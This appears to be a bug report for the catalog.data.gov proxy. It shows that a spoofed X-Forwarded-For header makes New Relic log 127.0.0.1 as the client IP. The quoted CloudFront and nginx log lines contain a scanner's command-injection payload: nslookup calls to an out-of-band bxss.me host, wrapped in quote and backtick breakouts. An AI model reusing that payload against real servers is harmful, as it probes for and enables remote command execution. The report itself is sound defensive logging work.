NewRelic log reads 127.0.0.1 as real_ip in catalog-proxy app

[FuhuXia]

In New Relic, we use real_ip to identify the origin of requests. However, 127.0.0.1 is the loopback IP address and is invalid as a real_ip. Using it obscures the true origin of the request, creates confusion, and could potentially mask security breaches.

How to reproduce

For entry like this from CloudFront

#Version: 1.0
#Fields: date time x-edge-location sc-bytes c-ip cs-method cs(Host) cs-uri-stem sc-status cs(Referer) cs(User-Agent) cs-uri-query cs(Cookie) x-edge-result-type x-edge-request-id x-host-header cs-protocol cs-bytes time-taken x-forwarded-for ssl-protocol ssl-cipher x-edge-response-result-type cs-protocol-version fle-status fle-encrypted-fields c-port time-to-first-byte x-edge-detailed-result-type sc-content-type sc-content-len sc-range-start sc-range-end

2024-12-23	13:10:59	EWR53-C2	24993	143.244.44.134	GET	d2s65feajdp88k.cloudfront.net	/&nslookup%2520-q=cname%2520hitkpxrelilnhc3b95.bxss.me&%27%5C%22%600&nslookup%2520-q=cname%2520hitkpxrelilnhc3b95.bxss.me&%60%27/organization/arlington-county.atom	404	-	Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36%20(KHTML,%20like%20Gecko)%20Chrome/131.0.0.0%20Safari/537.36	-	-	Error	kv0dYHdqIRG4eADiNxJEMSmX9LgxJ-EjwRsWyOfjAGSLZkzdLfysbQ==	catalog.data.gov	https	468	0.119	127.0.0.1	TLSv1.3	TLS_AES_128_GCM_SHA256	Error	HTTP/1.1	--	60660	0.116	Error	text/html;%20charset=utf-8	-	-	-

where c-ip is 143.244.44.134 but x-forwarded-for is 127.0.0.1.

It appears as this in the catalog-nginx app.

 catalog.data.gov - [2024-12-23T13:10:59.189025500Z] "GET /&nslookup%20-q=cname%20hitkpxrelilnhc3b95.bxss.me&%27%5C%22%600&nslookup%20-q=cname%20hitkpxrelilnhc3b95.bxss.me&%60%27/organization/arlington-county.atom HTTP/1.1" 404 0 82092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "127.0.0.1:6550" "10.10.1.39:61024" x_forwarded_for:"127.0.0.1, 143.244.44.134, 64.252.66.89, 127.0.0.1" x_forwarded_proto:"https" vcap_request_id:"885dbb80-d922-4698-7860-fa3f657412e4" response_time:0.034407 gorouter_time:0.000097 app_id:"dc64b9eb-b753-414f-817e-ee3d8298affd" app_index:"1" instance_id:"cc47db13-a309-46e1-6157-cb44" x_cf_routererror:"-" x_b3_traceid:"885dbb80d92246987860fa3f657412e4" x_b3_spanid:"7860fa3f657412e4" x_b3_parentspanid:"-" b3:"885dbb80d92246987860fa3f657412e4-7860fa3f657412e4"

where 127.0.0.1 appears as the left most entry in the x_forwarded_for:"127.0.0.1, 143.244.44.134, 64.252.66.89, 127.0.0.1",

Expected behavior

real_ip is 143.244.44.134

Actual behavior

real_ip is 127.0.0.1

Sketch

[Notes or a checklist reflecting our understanding of the selected approach]

[FuhuXia]

examples in https://gsa-tts.slack.com/archives/C2N85536E/p1734966755813329